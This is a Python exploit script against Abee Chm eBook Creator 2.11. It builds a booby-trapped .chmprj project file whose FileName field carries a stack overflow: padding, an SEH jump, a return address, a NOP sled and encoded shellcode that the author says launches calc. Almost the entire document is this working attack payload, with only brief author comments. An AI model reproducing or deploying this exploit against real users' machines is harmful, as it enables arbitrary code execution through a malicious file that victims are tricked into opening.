Abee Chm eBook Creator 2.11 Stack overflow Exploit

                                                # exploit.py
# Abee Chm eBook Creator 2.11 Stack overflow Exploit
# By:Encrypt3d.M!nd
#
# it\'s the same exploit i wrote for chm maker,everything is the same!!
# but there\'s a lil note that when importing \'Devil_Inside.chmprj\' a message
# will pops up and tells that the project file format is outdated bla bla but after clicking
# ok it will load into the program,and just go to File>Make Ebook.. and calc
# p.s:you can avoid the message by using chm ebook project data,i\'m lazy to do that
# so i\'ve used the chm maker one :D

ns = \"\\xEB\\x06\\x90\\x90\"
sh = \"\\x05\\x67\\x35\\x45\"

shellcode = (
\"\\xeb\\x03\\x59\\xeb\\x05\\xe8\\xf8\\xff\\xff\\xff\\x49\\x49\\x49\\x49\\x49\\x49\"
\"\\x49\\x49\\x37\\x49\\x49\\x49\\x49\\x49\\x49\\x49\\x49\\x49\\x51\\x5a\\x6a\\x61\"
\"\\x58\\x30\\x41\\x31\\x50\\x41\\x42\\x6b\\x42\\x41\\x71\\x32\\x42\\x42\\x42\\x32\"
\"\\x41\\x41\\x30\\x41\\x41\\x58\\x38\\x42\\x42\\x50\\x75\\x4d\\x39\\x69\\x6c\\x4d\"
\"\\x38\\x43\\x74\\x35\\x50\\x53\\x30\\x77\\x70\\x4e\\x6b\\x53\\x75\\x77\\x4c\\x4c\"
\"\\x4b\\x63\\x4c\\x54\\x45\\x34\\x38\\x67\\x71\\x5a\\x4f\\x6c\\x4b\\x62\\x6f\\x75\"
\"\\x48\\x6e\\x6b\\x41\\x4f\\x47\\x50\\x33\\x31\\x58\\x6b\\x63\\x79\\x4e\\x6b\\x36\"
\"\\x54\\x4c\\x4b\\x45\\x51\\x68\\x6e\\x34\\x71\\x59\\x50\\x4c\\x59\\x4c\\x6c\\x4f\"
\"\\x74\\x6f\\x30\\x72\\x54\\x47\\x77\\x58\\x41\\x39\\x5a\\x34\\x4d\\x57\\x71\\x69\"
\"\\x52\\x48\\x6b\\x69\\x64\\x67\\x4b\\x46\\x34\\x66\\x44\\x74\\x44\\x53\\x45\\x6b\"
\"\\x55\\x4c\\x4b\\x43\\x6f\\x31\\x34\\x67\\x71\\x78\\x6b\\x63\\x56\\x4c\\x4b\\x54\"
\"\\x4c\\x62\\x6b\\x6e\\x6b\\x31\\x4f\\x67\\x6c\\x37\\x71\\x78\\x6b\\x4c\\x4b\\x45\"
\"\\x4c\\x4c\\x4b\\x73\\x31\\x4a\\x4b\\x6c\\x49\\x51\\x4c\\x74\\x64\\x67\\x74\\x6b\"
\"\\x73\\x34\\x71\\x6f\\x30\\x42\\x44\\x6c\\x4b\\x71\\x50\\x34\\x70\\x4e\\x65\\x4f\"
\"\\x30\\x62\\x58\\x46\\x6c\\x6c\\x4b\\x41\\x50\\x44\\x4c\\x4c\\x4b\\x42\\x50\\x65\"
\"\\x4c\\x4e\\x4d\\x6e\\x6b\\x50\\x68\\x34\\x48\\x4a\\x4b\\x73\\x39\\x6e\\x6b\\x4b\"
\"\\x30\\x4c\\x70\\x57\\x70\\x63\\x30\\x37\\x70\\x4e\\x6b\\x42\\x48\\x57\\x4c\\x51\"
\"\\x4f\\x56\\x51\\x48\\x76\\x31\\x70\\x73\\x66\\x6e\\x69\\x59\\x68\\x4e\\x63\\x4f\"
\"\\x30\\x73\\x4b\\x66\\x30\\x65\\x38\\x68\\x70\\x6d\\x5a\\x34\\x44\\x51\\x4f\\x30\"
\"\\x68\\x4e\\x78\\x4b\\x4e\\x6c\\x4a\\x54\\x4e\\x32\\x77\\x79\\x6f\\x79\\x77\\x41\"
\"\\x73\\x75\\x31\\x72\\x4c\\x41\\x73\\x57\\x70\\x61\")

header1 = (
\'<?xml version=\"1.0\" encoding=\"Windows-1252\" ?>\\n\'
\'<XMLConfig><info>Chm Maker project</info>\\n\'
\'<group name=\"Contents\">\\n\'
\' <group name=\"0\">\\n\'
\'  <param name=\"Caption\">filename</param>\\n\'
\'  <param name=\"Level\">0</param>\\n\'
\'  <param name=\"FileName\">\'+\"\\x41\"*320+ns+sh+\"\\x90\"*20+shellcode+\"\\x41\" * 5000)

header2 = (
\'</param>\\n\'
\' </group>\\n\'
\' <param name=\"Count\">1</param>\\n\'
\'</group>\\n\'
\'<group name=\"Keywords\">\\n\'
\' <param name=\"Count\">0</param>\\n\'
\'</group>\\n\'
\'<group name=\"KeywordsFinder\">\\n\'
\' <param name=\"UseMeta\">1</param>\\n\'
\' <param name=\"UseBold\">1</param>\\n\'
\' <param name=\"UseItalic\">0</param>\\n\'
\' <param name=\"UseUnder\">0</param>\\n\'
\' <param name=\"UseHTag\">1</param>\\n\'
\' <param name=\"UseTabHeader\">0</param>\\n\'
\' <param name=\"MaxKeyLength\">32</param>\\n\'
\' <param name=\"LiveUpdate\">0</param>\\n\'
\'</group>\\n\'
\'<group name=\"Customize\">\\n\'
\' <param name=\"MainTitle\">kkkkkkkkkkkkkkk</param>\\n\'
\' <param name=\"DefaultPage\"></param>\\n\'
\' <param name=\"Left\">0</param>\\n\'
\' <param name=\"Top\">0</param>\\n\'
\' <param name=\"Width\">0</param>\\n\'
\' <param name=\"Heigth\">0</param>\\n\'
\' <param name=\"HideShow\">1</param>\\n\'
\' <param name=\"Back\">1</param>\\n\'
\' <param name=\"Forward\">1</param>\\n\'
\' <param name=\"Stop\">0</param>\\n\'
\' <param name=\"Refresh\">0</param>\\n\'
\' <param name=\"Options\">1</param>\\n\'
\' <param name=\"Print\">1</param>\\n\'
\' <param name=\"Font\">0</param>\\n\'
\' <param name=\"Locate\">0</param>\\n\'
\' <param name=\"Home\">0</param>\\n\'
\' <param name=\"HomePage\"></param>\\n\'
\' <param name=\"Jump1\">0</param>\\n\'
\' <param name=\"Jump1Page\"></param>\\n\'
\' <param name=\"Jump1Title\"></param>\\n\'
\' <param name=\"Jump2\">0</param>\\n\'
\' <param name=\"Jump2Page\"></param>\\n\'
\' <param name=\"Jump2Title\"></param>\\n\'
\' <param name=\"Search\">1</param>\\n\'
\' <param name=\"AdditionalFiles\"></param>\\n\'
\'</group>\\n\'
\'</XMLConfig>\\n\'
)


file=open(\'Devil_Inside.chmprj\',\'w\')
file.write(header1+header2)
file.close()